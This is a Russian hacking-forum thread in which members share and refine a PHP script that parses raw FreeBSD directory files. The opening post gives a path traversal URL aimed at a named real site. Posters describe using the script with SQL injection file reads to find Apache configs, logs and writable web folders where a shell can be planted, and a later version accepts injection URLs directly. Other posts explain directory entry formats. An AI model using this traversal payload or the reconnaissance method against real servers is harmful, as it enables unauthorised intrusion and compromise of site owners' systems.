Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Избранное (https://forum.antichat.xyz/forumdisplay.php?f=89)
-   -   скрипт для парсинга файлов каталогов (https://forum.antichat.xyz/showthread.php?t=55237)

Scipio 07.12.2007 19:00

скрипт для парсинга файлов каталогов
 
скрипт для парсинга файлов каталогов,
испытать его можно на gerz.ru:
идем по ссылке:
Код:

http://www.gerz.ru/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/%00
сохраняем полученную страницу на диск в папку со скриптом
в строчке $fl=file_get_contents("file"); прописываем имя файла...

как выяснилось на FreeBSD можно читать не только обычные файлы, но и файлы каталогов с помощью например комманды cat или средствами php

скрипт бывает полезен, когда например есть sql инъекция с возможностью чтения файлов, то для того чтобы искать логи или конфиги апача, да даже для того чтоб найти путь к папкам доступным из веба, допустим для записи шелла, также при инклюдах (на Free BSD конечно же), вобщем must have, если сейчас не нужен, то пригодится позднее, также его несложно переделать под функцию и использовать в эксплоитах ;)

PHP код:

<?php
error_reporting
(E_ALL);
$fl=file_get_contents("file");
$s=bin2hex ($fl);
$ln=strlen($s)-5;
$nam=FALSE;

for (
$i=0;$i<$ln;$i+=2)
   {
       
$curhex=substr($s,$i,3);
       
$nexthex=substr($s,$i+4,1);

       if ((
$curhex=='040') and ($nexthex>'1') and ($nexthex<'8'))

           {
            
$pob="<br>".'[DIR] ';
            
$nam=TRUE;
            
$i+=4;
           }

       if ((
$curhex=='080') and ($nexthex>'1') and ($nexthex<'8'))

           {
            
$pob="<br>".'[FILE] ';
            
$nam=TRUE;
            
$i+=4;
           }

       if (
$nam===TRUE)

           {

            if ((
$s[$i]>'1') and ($s[$i]<'8'))
                {
                 
$hx=substr($s,$i,2);
              
$hx=chr(hexdec($hx));
              
$pob=$pob.$hx;
             }
         else {echo 
$pob$nam=FALSE;}
        }


   }
?>


Scipio 07.12.2007 19:25

работает он так:

в файле каталога я заметил такую особенность, перед именем файла или каталога идут два байта первый из них принимает значения или 04 или 08, второй байт везде не больше 15 в десятичной си т.е. в шестнадцатиричной си начинается на 0...

так вот, если этот первый байт 04, то за этими двумя байтами идет имя каталога, а если 08, то это имя файла, насчет ссылок я не выяснил, но выяснить постараюсь...

большая просьба к тем кто будет использовать скрипт, отписаться тут о его работе, меня смущает именно этот второй байт, может ли он принимать значения больше 0f, если всетаки может, то скрипт будет работать неправильно и не отображать некоторые имена

VampiRUS 12.12.2007 15:51

помойму не только во FreeBSD, вроде во всех Unix like системах каталоги приедставлены в виде файлов(на счёт всех могу ошибаться).
за скрипт +
сам хотел как-нить подобный написать.

Scipio 12.12.2007 16:01

Цитата:

Сообщение от VampiRUS
помойму не только во FreeBSD, вроде во всех Unix like системах каталоги приедставлены в виде файлов(на счёт всех могу ошибаться).
за скрипт +
сам хотел как-нить подобный написать.

да, ты прав, во всех Unix like системах каталоги приедставлены в виде файлов, но только во FreeBSD эти файлы можно читать с помощью ЯП или cat например, из всего что я пробовал это получается только во FreeBSD

guest3297 12.12.2007 16:51

Цитата:

да, ты прав, во всех Unix like системах каталоги приедставлены в виде файлов, но только во FreeBSD эти файлы можно читать с помощью ЯП или cat например, из всего что я пробовал это получается только во FreeBSD
Бред.

Scipio 12.12.2007 16:53

В чем бред то?

Goudini 14.12.2007 21:22

Цитата:

Сообщение от [ cash ]
Бред.

факт! нампример при sql-иньеции (os FreeBSD) можно прочитать содержимое директории через select null, null, null, load_file('/etc')....

Macro 14.12.2007 21:42

Хорошая штука, но что делать если выводится кроме файла каталога еще другая инфа?

Scipio 14.12.2007 22:33

Цитата:

Сообщение от Macro
Хорошая штука, но что делать если выводится кроме файла каталога еще другая инфа?

Я не совсем понял о какой инфе ты говоришь, но если я правильно тебя понял, то эта инфа просто проигнорирует ся в большинстве случаев, так как там идет поиск по байтам со значением 04 и 08 и причем следующий байт после них должен тоже быть не больше 0Fh

ZaCo 14.12.2007 23:15

да куда проще было бы не "реверсить" и изучать устройство каталога, а просто выводить подстроки состоящие из печатаемых символов. просто возможен вариант, что к примеру атрибуты файла (права, время модификации и тп) представленные в бинарном виде, буду содержать то что ты ищешь и на что парсишь, хотя конечно врядли..

>>да, ты прав, во всех Unix like системах каталоги приедставлены в виде файлов, но
>>только во FreeBSD эти файлы можно читать с помощью ЯП или cat например, из
>>всего что я пробовал это получается только во FreeBSD

точно, просто фс'мы, например, linux'ов пишут в errno, при вызове open на каталог, ошибку EISDIR, этим они, мягко говоря, советуют пользоваться другими вызовами для работы с каталогами, странно почему в бсд это можно делать непосредственно..

Scipio 15.12.2007 07:16

Цитата:

да куда проще было бы не "реверсить" и изучать устройство каталога, а просто выводить подстроки состоящие из печатаемых символов. просто возможен вариант, что к примеру атрибуты файла (права, время модификации и тп) представленные в бинарном виде, буду содержать то что ты ищешь и на что парсишь, хотя конечно врядли..
Хм, насколько я знаю, что в файле каталога нет информации о правах доступа файлов которые в нем находятся,в нем имена и ссылки на физическое месторасположение (ну и еще что то).
Насчет вывода подстрок из печатающих символов, тогда будет много мусора, потому что "служебные" байты принимают значения такие же как и печатаемые символы, если выделять подстроку как несколько подряд идущих петатаемых символов, то файлы и каталоги состоящие из одного символа выводиться не будут,к тому же не будет возможности определить является это файлом или каталогом.
Насчет самого парсинга и поиска, я думаю, той ситуации которую ты описал не возникнет (я думал об этом). Там видишь какая фигня, сначала ищется байт со значением 04h или 08h проверяется следующий за ним байт, является ли он меньше 0Fh и идет проверка является ли идущий за этими двумя байтами байт печатаемым символом... надеюсь ты понял что я хотел сказать,а то я че то понаписал и сам не совсем понял:)

ZaCo 15.12.2007 16:25

>>Хм, насколько я знаю, что в файле каталога нет информации о правах доступа файлов
>>которые в нем находятся,в нем имена и ссылки на физическое месторасположение (ну
>>и еще что то).

да, щас немного поэксперемнтировал с жесткими ссылками оказалось, что права приписываются непосредственно к идентификатору файла.

>>Там видишь какая фигня, сначала ищется байт со значением 04h или 08h
>>проверяется следующий за ним байт, является ли он меньше 0Fh и идет проверка
>>является ли идущий за этими двумя байтами байт печатаемым символом...

все-таки реверсить нужно:) я сейчас изучал методом тыка что пишется в каталог и оказалось, что там идет имя файла, его идентификатор, тип (обычный файл, каталог, символическая ссылка) и еще пара байт смысл которых мне пока не ясен, да и вообще не понятно зачем хранить тип файла когда это можно прикрепить непосредственно к inode.

вот програмка производящая вроде бы грамотный парсинг http://zaco.info/bsdir.cpp
интересно что идентификатор всегда выравнивается по машинному слову, а иногда программа выводит несуществующее файлы, причем идентификаторы которых, на первый взгляд вполне валидные.. я думаю определить удаленные файлы одним непосредственным парсингом каталога не удасться, нужно лезть в таблицу inode и смотреть есть ли там этот дескриптор или нет.

вообще конечно жалко, что бсд позволяет выполнять вызов open только с флагом O_RDONLY, иначе можно было бы много пакостей наделать:)

Scipio 16.12.2007 04:33

ZaCo, не плохо, очень не плохо... но согласись, мой вариант имееет возможность для большей реализации на практике, т.к. именно в инете это находит свое практическое применение, и согласись вариант на пхп именно этот имеет место быть, насчет ссылок, в конечном итоге, я тоже нашел, что байт 0Ah-это символическая ссылка, просто не стал включать в скрипт, потому что чем больше значений, тем больше вероятность неправильного парсинга... я вот немного тебя непонимаю, наверное ты просто не в той последовательности рассказал, но насколько я понял, что первые три байта дискриптора файла или каталога отвечают именно за физическое место расположения, и по закону жанра справа на лево... а вобще по идее респект тебе ZaCo, и уважуха, только ты меня по нормальному понял, и поэкспериментировал, т.е. занялся тем, чем занимался я до создания этого топика... но еще раз хочу сказать спасибо Macro, он профессионал, его стоит уважать

ZaCo 16.12.2007 13:42

>>я вот немного тебя непонимаю, наверное ты просто не в той последовательности
>>рассказал, но насколько я понял, что первые три байта дискриптора файла или
>>каталога отвечают именно за физическое место расположения, и по закону жанра
>>справа на лево...

не совсем, идентификатор файл (он же дескриптор файла в файловой системе) это число, но само расположение файла, берется из таблицы inode (хотя по логике вещей это все-таки должно быть бинарное сбалансированное дерево для быстрого доступа к данным, просто так короче) ровно по этому идентификатору. а описание структуры содержимого каталога описано в struct DIR в bsdir.cpp. только нужно понимать, что все наши с тобой скрипты по-хорошему должны работать только в пределах одной фс ну или максимум совместимых.
--
и еще раз об выравнивании, если ты с++ не знаешь: сначала считывается структура DIR (inode - 4 байта, 2 байта не ясно чего, 1 байт - длина имени файла), далее само имя файла, а затем происходит скачок до ближайшего, кратного sizeof(int) (для gcc при стандартных настройках) адреса относительно начала данных.

ZaCo 16.12.2007 15:01

оказалось тут даже без выравнивание можно, заодно и смысл dontknow прояснился - длина текущего описания, в типе short int.

Scipio 30.12.2007 16:31

вот сделал поудобнее немного и сделал, чтоб он символические ссылки опознавал:
PHP код:

<html>
<head>
<title>Парсинг каталогов FreeBSD от Scipio</title>
</head>
<body>
<?php
error_reporting
(0);
set_time_limit(0);
if (isset(
$_POST['pole'])){$pole=$_POST['pole']; $fl=file_get_contents($pole);} else $pole='';
?>
<form method="post" action="<?=$_SERVER['SCRIPT_NAME']?>">
<input type="text" size="150" name="pole" value="<?=$pole?>"/>
</form>
<?php
if (!empty($fl))
{
$s=bin2hex ($fl);
$ln=strlen($s)-5;
$nam=FALSE;

for (
$i=0;$i<$ln;$i+=2)
   {       
$curhex=substr($s,$i,3);
       
$nexthex=substr($s,$i+4,1);

       if ((
$curhex=='040') and ($nexthex>'1') and ($nexthex<'8'))

           {
            
$pob="<br>".'<b>[DIR]</b> ';
            
$nam=TRUE;
            
$i+=4;
           }

       if ((
$curhex=='080') and ($nexthex>'1') and ($nexthex<'8'))

           {
            
$pob="<br>".'[FILE] ';
            
$nam=TRUE;
            
$i+=4;
           }

        if ((
$curhex=='0a0') and ($nexthex>'1') and ($nexthex<'8'))

           {
            
$pob="<br>".'<i>[LINK]</i> ';
            
$nam=TRUE;
            
$i+=4;
           }

       if (
$nam===TRUE)

           {

            if ((
$s[$i]>'1') and ($s[$i]<'8'))
                {
                 
$hx=substr($s,$i,2);
              
$hx=chr(hexdec($hx));
              
$pob=$pob.$hx;
             }
         else {echo 
$pob$nam=FALSE;}
        }


   }

}
?>
</body>
</html>

в строку можно вводить как имя файла, так и сетевой адресс (строку URL) например URL с SQL-инъекцией, сам пользуюсь и много раз уже выручало

Scipio 03.01.2008 16:48

Хм, скрипт показывает и недавно удаленные файлы, ответ на вопрос почему мне дал ZaCo:
Цитата:

другое дело что может быть такой случай - идентификатор есть в каталоге а в inode нету
хотя об этом нетрудно догадаться, но все равно ему спасибо, другой вопрос как это можно использовать, жду предложений

Scipio 13.01.2008 09:46

UPD: скрипт работает и для SunOS

HornetBlack 25.03.2009 17:21

Цитата:

Сообщение от Scipio
Насчет самого парсинга и поиска, я думаю, той ситуации которую ты описал не возникнет (я думал об этом). Там видишь какая фигня, сначала ищется байт со значением 04h или 08h проверяется следующий за ним байт, является ли он меньше 0Fh и идет проверка является ли идущий за этими двумя байтами байт печатаемым символом

За типом файла идет short int = длине имени. Я так понимаю, более ничего полезного из дампа каталога получить не удастся...

mailbrush 26.03.2009 12:36

HornetBlack, а я так понимаю, ты хочешь минус получить. Прошло больше года =\. Это археология =\

HornetBlack 27.03.2009 10:51

Цитата:

Сообщение от mailbrush
HornetBlack, а я так понимаю, ты хочешь минус получить. Прошло больше года =\. Это археология =\

Mailbrush, а я так понимаю, что тебе минусы девать некуда или ты можешь сказать что-нибудь полезное по обсуждаемой теме?
Во-первых, это не археология, т.к. FBSD на хостах до сих пор встречается довольно часто и нужно получить максимум из доступной инфы.
Во-вторых, я сейчас разрабатываю инструмент для детального исследования SI и обсуждаемая тема это только малая часть моей тулзы.
Итак?

HornetBlack 30.03.2009 09:42

После недолгих поисков на сайте www.kernel-api.org нашел документацию по форматам записей каталога EXT/EXT2. Итого имеем 3 варианта каталогов:

1. struct ext_dir_entry:

unsigned long inode
unsigned short rec_len
unsigned short name_len
char name [EXT_NAME_LEN]

2. struct ext2_dir_entry:

__u32 inode Inode number.
__u16 rec_len Directory entry length.
__u16 name_len Name length.
char name [EXT2_NAME_LEN] File name.

3. struct ext2_dir_entry2:

__u32 inode Inode number.
__u16 rec_len Directory entry length.
__u8 name_len Name length.
__u8 file_type
char name [EXT2_NAME_LEN] File name.

Первый и второй варианты практически идентичны (видимо для совместимости ext и ext2)

Дополнительно по типам и выравниванию:

#define EXT2_FT_UNKNOWN 0
#define EXT2_FT_REG_FILE 1
#define EXT2_FT_DIR 2
#define EXT2_FT_CHRDEV 3
#define EXT2_FT_BLKDEV 4
#define EXT2_FT_FIFO 5
#define EXT2_FT_SOCK 6
#define EXT2_FT_SYMLINK 7
#define EXT2_FT_MAX 8

/**

* EXT2_DIR_PAD defines the directory entries boundaries
*
* NOTE: It must be a multiple of 4

*/
#define EXT2_DIR_PAD 4
#define EXT2_DIR_ROUND (EXT2_DIR_PAD - 1)
#define EXT2_DIR_REC_LEN(name_len) (((name_len) + 8 + EXT2_DIR_ROUND) & \
~EXT2_DIR_ROUND)


Жаль, что до таблиц inode не добраться, но надо уметь довольствоваться малым... ))

oRb 23.08.2009 22:31

Только сегодня наткнулся на эту тему, хотя скрипт уже юзал, тк нашел его на blacktoad'е.
Scipio, отличная вещь.
Решил немного сам покопаться.
Цитата:

идет поиск по байтам со значением 04 и 08 и причем следующий байт после них должен тоже быть не больше 0Fh
Там сначала идет нульбайт, далее 04 | 08 | 0a, потом идет длина имени папки/файла/ссылки. Поэтому твой скрипт не показывал файлы, в названиях которых более 16 символов.
Пытался вдуплить как определить удален файл/папка или нет. 2 часа пялился в hex-редактор, так ничего и не придумал.
Переписанный скрипт:
PHP код:

 <html> 
<head> 
<title>FreeBSD dir parser</title> 
<style> 
    body { background-color:#444;font: 9pt Lucida,Verdana;color:#fff;margin: 5; } 
    a { text-decoration:none; color:#df5; } 
</style> 
</head> 
<body> 
<form method="post"> 
Path: <input type="text" name="pole" value="<?=htmlspecialchars($_POST['pole']);?>"/> <input type="submit"/> 
</form> 
<pre> 
<?php 
error_reporting
); 
set_time_limit); 
if ( isset( 
$_POST['pole'] ) ) 
    
$str = @file_get_contents$_POST['pole'] ); 
if ( !empty( 
$str ) ) { 
    
$content = array( 'dirs' => array(), 'files' => array(), 'links' => array() ); 
    function 
getItem$type, &$i ) { 
        
$item_len ord$GLOBALS['str'][$i+1] ); 
        if( 
$item_len && ( ord($GLOBALS['str'][$i+2]) != ) ) {
            
$item substr$GLOBALS['str'], $i+2$item_len );
            if( 
strpos($item"\0") !== false )
                return;
            
$GLOBALS['content'][$type][] = substr$GLOBALS['str'], $i+2$item_len );
        } else
            
$item_len 0
        
$i += $item_len
    } 
    
$len strlen$str ); 
    for( 
$i 0$i $len$i++ ) { 
        if( 
ord$str[$i] ) != 
            continue; 
        
$i++; 
        
$char ord$str[$i] ); 
        if( 
$char == 0x04 
            
getItem('dirs'$i); 
        elseif( 
$char == 0x08 
            
getItem('files'$i); 
        elseif( 
$char == 0x0a 
            
getItem('links'$i); 
    } 
    
sort($content['dirs']); 
    foreach( 
$content['dirs'] as $item 
        echo 
"<i>dir</i>\t[ ".$item." ]\n"
    
sort($content['files']); 
    foreach(
$content['files'] as $item
        echo 
"<i>file</i>\t".$item."\n"
    
sort($content['links']); 
    foreach(
$content['links'] as $item
        echo 
"<i>link</i>\t".$item."\n"

?> 
</pre> 
<a href="https://forum.antichat.ru/thread55237.html">Original https://forum.antichat.ru/thread55237.html</a> 
</body> 
</html>



Время: 11:59